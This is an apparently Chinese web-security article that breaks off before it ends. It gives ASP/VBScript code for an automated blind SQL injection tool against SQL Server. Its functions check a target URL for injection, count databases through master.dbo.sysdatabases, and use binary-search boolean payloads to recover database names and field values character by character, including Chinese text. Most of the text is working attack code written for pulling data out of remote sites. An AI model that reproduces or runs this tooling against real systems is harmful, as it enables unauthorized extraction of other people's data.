首页 > 安全 > 网站安全 >

自动探测SQL Server数据信息

2006-10-08

看了SQL注入脚本后,笔者深受启发,不过美中不足的是文章中还有一些问题需要解决: 1.字典支持问题:如果字典信息不够全面,或者说字典中没有我们数据库中所具有的信息,如数据库表名,字段名,那我们的注入行动只是浪费时间而已。 2

aspContentLabel style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">看了SQL注入脚本后,笔者深受启发,不过美中不足的是文章中还有一些问题需要解决:
1.字典支持问题:如果字典信息不够全面,或者说字典中没有我们数据库中所具有的信息,如数据库表名,字段名,那我们的注入行动只是浪费时间而已。
2.缺乏对汉字的支持:现在很多朋友都在使用汉字作为平时的密码和帐户,汉字的出现频率是非常高的。
3.Access版本,不支持SQL Server。
下面进入正题。本文的目的就是要实现SQL Server中所有的数据库名、表名、字段名以及表中的数据信息的自动探测,并重点阐述以下几个问题:
1. 如何快速判断SQL Server中的数据库的数量;
2. 如何快速判断特定数据库中数据表的数量;
3. 如何快速找出特定数据库中所有的数据表名称;
4. 如何快速找出特定数据表所有中的字段的数量及名称;
在以上的问题解决后,对数据表中所有数据信息的探测的问题就迎刃而解了,即使你想在本地重构远程SQL server数据库中信息,只要你有足够多的时间,答案也是OK的。

漏洞检测
原理我不多说了,我只是给出我的实现函数。顺便补充一点,本文是在ASP环境下,所有代码都通过ASP实现。我们先看一段主体代码,用来实现探测信息并确定是不是存在漏洞:
Function Find_Hole(iUrl)
dim turl,Body1,Body2,Body3,body4,Status1,Status2,Status3,status4
call xmlPost(iUrl,Status1, Body1)

turl=iUrl&"’"
call xmlPost(iUrl,Status2, Body2)

turl=iUrl&" and 1=1"
call xmlPost(tUrl,Status3, Body3)

turl=iUrl&" and 1<>1"
call xmlPost(tUrl,Status4, Body4)

if Status1<>500 and Status3<>500 and Status4=500 and Body1<>Body4 and Body3<>Body4 then
Find_Hole=true
else
Find_Hole=False
end if
End Function
Find_Hole(iUrl)函数用于判断测试地址是否存在注入漏洞,通过ByRef引用方式返回远程主机反馈的信息。其中body是远程主机的反馈信息,status是页面返回状态,你可以在程序中引用它们,并设计出自己的判断函数。
Find_Hole(iUrl) 函数中引用的两个函数如下:
Sub xmlPost(iUrl,ByRef Status, ByRef Body)
Dim xPost
On Error Resume Next
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.open "POST",iUrl,false
xPost.Send
Status = xPost.Status
Body = bytes2BSTR(xPost.responseBody)
Set xPost = Nothing
End Sub

Function bytes2BSTR(vIn)
‘这个函数可以实现中文的正常显示
dim strReturn,i, ThisCharCode, NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

判断数据库数量
这里我们需要利用数据表“master.dbo.sysdatabases”,实现函数如下:
Function Get_DB_Num()
dim DBMinNum,DBMaxNum
DBMinNum=5 ’SQL Server中数据库最小数目,由于前几个为系统数据库,所以这儿设置为5。
DBMaxNum=50 ’SQL Server中数据库最大数目。可自己更改。
CheckDBNum="and (select count(*) from master.dbo.sysdatabases)>[N]"
Get_DB_Num=Get_Len(iUrl&CheckDBNum,DBMinNum,DBMaxNum)
end function
下面重点介绍长度判断函数Get_len():
Function Get_Len(iUrl,minlen,maxlen)
’使用前提条件:存在注入漏洞
if ReturnOk(Replace(iUrl,"[N]",maxlen)) then Get_Len=-1 ’实际长度大于最大预设长度返回 -1。
exit function
end if
if not ReturnOk(Replace(iUrl,"[N]",minlen-1)) then Get_Len=-2 ’实际长度小于最小预设长度返回-2。
exit function
end if
if maxlen-minlen=1 then 
if ReturnOk(Replace(iUrl,"[N]",(maxlen+minlen)/2)) then
  Get_Len=maxlen
else
Get_Len=minlen
end if
exit function
end if
midlen=int((minlen+maxlen)/2)
if ReturnOk(Replace(iUrl,"[N]",Midlen)) then Get_len=Get_Len(iUrl,midlen,maxlen)
  else
Get_len=Get_Len(iUrl,minlen,midlen)
end if
End Function
此函数使用折半算法,迅速缩小判断范围。在本文中使用非常广泛,只要构造出适当的查询条件,就会有意想不到的收获,如判断汉字的Unicode编码,在0-65535之间,只需要16次判断,就肯定能得到特定汉字的unicode码!
程序中的ReturnOk函数用来判断远程主机的返回状态,页面返回正常为真。其代码如下:
Function ReturnOK(iUrl)
dim iPost
On Error Resume Next
Set iPost = CreateObject("Microsoft.XMLHTTP")
iPost.open "POST",iUrl,false
iPost.Send
if iPost.Status<>500 then
ReturnOk=True
else
ReturnOk=False
end if
Set iPost = Nothing
End Function
其实ReturnOK函数就是上面的xmlPost过程的简化。你可以根据实际情况,编写自己的返回判断函数。

判断数据库名称
在“master.dbo.sysdatabases”表中dbid、name两个字段记录中SQL Server中的所有数据库名称信息。其中dbid的范围是1~数据库总数,name字段则记录了数据库名称信息。其实现函数如下:
Function Get_DBName(iUrl,dbid)
Dim MinLen ,MaxLen
MinLen=1 ’数据库名称最小长度。
MaxLen=50 ’数据库名称最大长度。
Get_DBName=GetFieldValue(iurl,"master.dbo.sysdatabases","name","dbid",dbid,MinLen ,MaxLen)
End Function
这儿利用了GetFieldValue函数,它可以得到给定数据表中特定ID值时某个字段的信息。注意:SQL中的字符处理函数与Access不同。请看下表:
Access SQL Server 说明
asc(字符) unicode(字符) 返回某字符的编码
chr(数字) nchar(数字) 与asc相反,根据数字编码返回字符
mid(字符串,N,L)
substring(字符串,N,L)
返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Get_Field_Name函数是信息获取的具体实现步骤的模拟,函数中用到了Get_Len(iUrl,0,65535)函数,由于SQL 中汉字用Unicode编码,其范围是[0-65535]。程序中用到汉字的猜解,见我的另外一篇文章《SQL自动注入中的汉字问题》一文,下面是详细的代码:
Function GetFieldValue(iUrl,TableName,FieldName,PrimaryKey,PKValue,minlen,maxlen)
’TableName是所要猜的表名。
’FieldName是所要猜的字段名。
’PrimaryKey主键名称。
’PKValue主键值。
dim checkLen,flen,checkfieldvalue

CheckLen=" and 1=(select count(*) from [TABLE] Where [IDN]=[ID] and Len([FN])>[N])"
CheckLen=Replace(CheckLen,"[TABLE]",TableName)
CheckLen=Replace(CheckLen,"[FN]",FieldName)
CheckLen=Replace(CheckLen,"[IDN]",PrimaryKey)
CheckLen=Replace(CheckLen,"[ID]",PKValue)

FLen=Get_Len(iUrl&CheckLen,minlen,maxlen)

CheckFieldValue=" and 1=(select count(*) from [TABLE] where [IDN]=[ID] and unicode(substring([FN],[POS],1))> [N])"
CheckFieldValue=Replace(CheckFieldValue,"[TABLE]",TableName)
CheckFieldValue=Replace(CheckFieldValue,"[FN]",FieldName)
CheckFieldValue=Replace(CheckFieldValue,"[IDN]",PrimaryKey)
CheckFieldValue=Replace(CheckFieldValue,"[ID]",PKValue)
GetFieldValue=Get_Field_Name(iUrl&CheckFieldValue,Flen)
end Function

Function Get_Field_Name(iUrl,Flen)
dim conn , i,rs,ch,SQL,result
result=""
set conn=GetConnection(server.MapPath("UnicodeMap.mdb"),"")
For i= 1 To Flen
ch= Get_Len(Replace(iUrl,"[POS]",i),0,65535)
SQL="select chr from GB18030 where DU="&ch
set rs=get_rs(conn,SQL,1)
if rs.recordcount=1 then
result=result&rs(0)
else
result=result&"&#"&ch
end if
rs.close
set rs=nothing
Next
conn.close
set conn=nothing
Get_Field_Name=result
end Function

猜解特定数据库中数据表
这里利用库名“.dbo. dbo.sysobjects”,库名“.dbo. dbo.sysobjects”的数据表中有xtype、id、name 三个字段。通过指定查询条件xtype=’U’,可以得到用户数据表的数量。而要实现数据表名的猜解,我们可以利用id、name这两个字段,其中name字段中记录着我们最关心的数据表名。想要定位到数据表“库名.dbo. dbo.sysobjects”中的具体某个记录,我们只好通过id字段来实现。但是,由于id字段中的数值一般都比较大,动不动就上亿,如果通过列举每一个id值来判断,如果时间允许的话,肯定是可以实现的,只不过我没有这份耐心:试想,光判断一个id值就需要上亿次判断,需要一个小时?一天?一周?如果得到所有的信息,天知道要多久
热点推荐